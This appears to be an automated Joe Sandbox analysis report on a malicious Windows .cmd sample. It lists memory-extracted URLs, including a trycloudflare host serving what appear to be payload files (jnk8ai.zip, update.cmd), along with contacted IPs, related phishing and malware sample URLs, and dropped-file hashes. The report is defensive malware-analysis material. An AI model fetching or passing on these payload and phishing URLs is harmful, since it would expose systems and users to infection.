https://contoso.com/License	powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zips	AppInstallerPythonRedirector.exe, 0000000A.00000002.1462441744.0000020916213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1465314679.00000236BDE13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdCommonProgramFiles=C	powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com	powershell.exe, 00000006.00000002.1406828064.000002AECDAFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E52E2000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://crl.ver)	svchost.exe, 00000007.00000002.2604678028.000001EB29800000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdX	powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdCommonProgramFiles=C:	powershell.exe, 0000000E.00000002.1556477810.000001D0FC0EC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486894022.000001D0E22B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486987097.000001D0E22C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.1487885246.000001D0E41B1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/22spectrum-exactly-knitting-rural.trycloud	powershell.exe, 0000000E.00000002.1485475716.000001D0E2138000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipA~	timeout.exe, 0000000D.00000002.1467276955.000001F6D2DF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipO	powershell.exe, 00000006.00000002.1406516377.000002AECAE50000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 0000000D.00000002.1467205701.000001F6D13B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdH	powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipLMEM	AppInstallerPythonRedirector.exe, 0000000A.00000002.1462464479.000002091622B000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1465375214.00000236BDE3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare	powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.	powershell.exe, 0000000E.00000002.1486987097.000001D0E22C4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.7.dr	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipX	powershell.exe, 00000006.00000002.1430185049.000002AEE4D40000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000007.00000003.1379671648.000001EB29A40000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.1406828064.000002AECE2EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDC9F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1424363112.000002AEDCB39000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F3FF5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1549555003.000001D0F4137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E5966000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zipV	powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/jnk8ai.zip	powershell.exe, 0000000E.00000002.1486987097.000001D0E22C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1556477810.000001D0FC09D000.00000004.00000020.00020000.00000000.sdmp, ZtefPP1HI7.cmd	true		unknown
https://spectrum-exactly-knitting-rural.trycloudflare.com/update.cmdx	powershell.exe, 0000000E.00000002.1485475716.000001D0E20B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.1406828064.000002AECC981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E3F81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.1406828064.000002AECC981000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1487885246.000001D0E3F81000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved		unknown	unknown	false
142.250.184.228	www.google.com	United States		15169	GOOGLEUS	false

Private

IP
192.168.2.9
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542802
Start date and time:	2024-10-26 13:44:59 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZtefPP1HI7.cmd renamed because original name is a hash value
Original Sample Name:	0f1118b30b2da0b6e82f95d9bbf87101d8298a85287f4de58c9655eb8fecd3c6.cmd
Detection:	MAL
Classification:	mal64.evad.winCMD@50/19@37/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.131, 64.233.167.84, 142.250.186.46, 34.104.35.123, 184.28.90.27, 192.229.221.95, 142.250.186.99, 142.250.185.78
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 3236 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7508 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ZtefPP1HI7.cmd

Simulations

Behavior and APIs

Time	Type	Description
07:45:53	API Interceptor	2x Sleep call for process: svchost.exe modified
07:45:55	API Interceptor	31x Sleep call for process: powershell.exe modified
07:46:02	API Interceptor	2x Sleep call for process: AppInstallerPythonRedirector.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	J1IrCccVO6.bat	Get hash	malicious	Unknown	Browse
	IDfVY125HU.html	Get hash	malicious	WinSearchAbuse	Browse
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	(No subject) (86).eml	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.42
	https://targetemissionservices.ezofficeinventory.com/users/sign_in	Get hash	malicious	Unknown	Browse	13.107.246.42
	INVOICE DUE..xlsx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://gemmni-lgi.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://cionzbazee-prozeel0g.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://palomaestro1211.github.io/microsoftlogin/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	http://www.jp-area.com/beppu/rank.cgi?mode=link&id=218&url=https://0oenqK.startprogrammingnowbook.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://index-html.info/?rid=jhOgcp4	Get hash	malicious	Unknown	Browse	13.107.246.42
	https://phase-thief-0566.typedream.app/	Get hash	malicious	Unknown	Browse	13.107.246.42
	http://win2-z13-web-core-windows-net.pages.dev/	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	13.107.246.42
google.com	J1IrCccVO6.bat	Get hash	malicious	Unknown	Browse	142.250.185.228
	IDfVY125HU.html	Get hash	malicious	WinSearchAbuse	Browse	142.250.186.132
	file.exe	Get hash	malicious	Credential Flusher	Browse	216.58.206.78
	file.exe	Get hash	malicious	Credential Flusher	Browse	142.250.186.110
	file.exe	Get hash	malicious	Unknown	Browse	142.250.184.206
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.46
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.142
	file.exe	Get hash	malicious	Unknown	Browse	142.250.186.78
	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.174

ASNs

⊘No context

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	23.206.229.209
	Bill Payment__8084746.html	Get hash	malicious	Unknown	Browse	23.206.229.209
	http://ERICADLERCLOTHING.com	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://www.google.ca/url?q=nyYhuJkyZc5becm4Aebd&rct=dHYJbECHyHBgmK2d6Hkk&sa=t&esrc=VPIIRnP5TJCWQChPCgwH&source=&cd=TWsylIzvnNqdQKP0bZIw&uact=&url=amp/uniquestarsent.com/ck/bd/BNsT048mrEEHImhtrfrgmcfu/a2Vubml0aC5jYXNlQGFkdmFuY2UtYXV0by5jb20	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://23.245.109.208.host.secureserver.net/E5V7V5K0D7J7U1G8T1M8U3B4G7B4C0&c=E,1,2fln-18Rcg-_y13WFwFZvQn3f1CXlYk0J_eiM8RKZuA6Djx49SsFA5in1hnyQJXLjWW1L6y7WaZ9eFSqcAvQerMcOF3C93rx-F5tfSihNA,,&typo=1	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://8i.eryonficket.com/g60ff/#aGVzc2dyb3VwaW52QGhlc3MuY29t	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://atpscan.global.hornetsecurity.com/?d=NnVkJrcOtS6jUcSOl6gFYT9DOTvhRx9_0n2vBuK3wGL4RfM1M4gwz-cei5V3Dmlh&f=VRGvOaKnOixCQPnN5E8Zd55sAVwpSzujOffY4RbLuwaxI18GkkIlhnlDIOqXjYsl&i=&k=IMq7&m=Eg31PQDiRU2Qx94y2dnGUum54tAMBzZzPaQN8QexaGJVzCG-OVPo4Om5V2lRlns7wwMWrL4CnmlsokgWfWk2TbD2kmpRAVDDTYG9PjUhZhfW-BwkapmD9W6_zQVWXFVN&n=KNtSaiODbNsJQEbSEZDwh34xn1itEQQfP1UznpoGI5WaWwC1dWtBevnqXGm5H-f7&r=2Ow9cKZ98a-5wptqW8Y-zAwN-MJuNt25fcQbqzqwDypDZl3_sT7dioYpzt-h-3hX&s=1f78a40d69089fa0743a8630bc133d18afc652a160161afdf52202844b072b54&u=https%3A%2F%2Ft.ly%2Fe_R6v	Get hash	malicious	Unknown	Browse	23.206.229.209
	https://ek3k.workspectrumhub.com/bdDURYAV	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://gf5q.sqpbij.shop/?c2V0aC5wZW1iZXJAYXV0b3BhcnRpbnRsLmNvbTp3NThyNg	Get hash	malicious	HTMLPhisher	Browse	23.206.229.209
	https://onedrive.live.com/redir?resid=A2C259BD24DEB977%211517&authkey=%21AMV6sdjMIZf95vs&page=View&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	23.206.229.209
28a2c9bd18a11de089ef85a160da29e4	J1IrCccVO6.bat	Get hash	malicious	Unknown	Browse	13.107.246.42 4.245.163.56
	IDfVY125HU.html	Get hash	malicious	WinSearchAbuse	Browse	13.107.246.42 4.245.163.56
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.42 4.245.163.56
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	13.107.246.42 4.245.163.56
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	13.107.246.42 4.245.163.56
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse	13.107.246.42 4.245.163.56
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	13.107.246.42 4.245.163.56
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	13.107.246.42 4.245.163.56
	http://fleurifleuri.com/	Get hash	malicious	Unknown	Browse	13.107.246.42 4.245.163.56
	http://mychronictravel.eu.org/	Get hash	malicious	Unknown	Browse	13.107.246.42 4.245.163.56

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.5169266378294004
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaV:cJhXC9lHmutpJyiRDeJ/aUKrDgnmP
MD5:	4B7BE1F3FA10A98A1B57EEF8E5FCDED9
SHA1:	4E8BA819760087C0DD00C53447B0F21712A5D661
SHA-256:	EACC2158CEBBFFEC21612FD3D6DDC071BFB6584E074CC78E4D5DDA518602E46C
SHA-512:	E0E6A162C75482C2BCB80ACB793FFFBF681BD87E66F5E47697A4F1E0C1A8781A33A729EB95B7ED18404D3DF34CB2AFD91B7A6315696726D3FB51839EF510CBAF
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x217a6b7b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216679410412367
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	98561E2EE8A3F7F70737D19B49EDC0E5
SHA1:	8A24764DDE5DC67E7ECFC606C863BA5615980388
SHA-256:	6B2983E6143C443515D92BFE7E11E14C7E33A5BEFEE7F1939C3FDEB900F9D059
SHA-512:	FF608607FA7CE89A754D5438949B1CA6F71391F471E347AB02C0E6DA1865B97A216825428946A7468E6E0F3795D3A75F27F853FFCE673D303BB4BEAD0FE25A3C
Malicious:	false
Preview:	!zk{... ...............X\...;...{......................p.D..........{}.6-...\|y.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................74D.6-...\|......................6-...\|y..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07985772897234586
Encrypted:	false
SSDEEP:	3:UVEYekT/q6v/fgsCrZClW/tz/vi/qll+SHY/Xl+/rQLve:CEzY3Hfgs3GNAS4M
MD5:	8CDBF6AAFB48FD865504F0658D2C58C5
SHA1:	65CE9D29C770FC337E7988AA5B9F1C6C6833DADA
SHA-256:	F7CF3D734C456F29C72B3F1A685BD60DB6F77650AEC7CFA3D2741167D43C1E7D
SHA-512:	0E71035E9126E5D56B30C515775EA7F65F8FB61BA689A2F4FAE979CC1B47BD6A811B91F7D074BFC071F8E6F1E1342CEEDD7ACB89112D4AC69DB493E78F04339E
Malicious:	false
Preview:	3n.G.....................................;...{..6-...\|y......{}..............{}......{}.vv_Q.....{}.....................6-...\|y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndwij5o4.gvl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pnxf5gxa.tuk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1xhi5dg.kpv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3jcahg5.kk3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4remje3.sw3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xltgndgt.z2e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yufkvzzs.cpo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zjo22bxe.ccp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:45:55 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9858376369317843
Encrypted:	false
SSDEEP:	48:81Jd6sTEyHKidAKZdA1P4ehwiZUklqeh7y+3:8BAbOcy
MD5:	72AC160295DFFEBCB3F1F0825601F3EF
SHA1:	E97BFD919315DCA9A63092EB2A076856613C72C2
SHA-256:	3F5C75956EFAC4294D9EDF915A09FB749C3DB64199B4F89600F4ED7AAA159085
SHA-512:	27D843FB35EFDF0BAFDA84DE045649CB6950B103E9E3F0A3C90D88AE4F0032B5368C0328C081CD0AA2C7DECDC4A1D63660807D95D69D8EA8B662BB3F40B14A2C
Malicious:	false
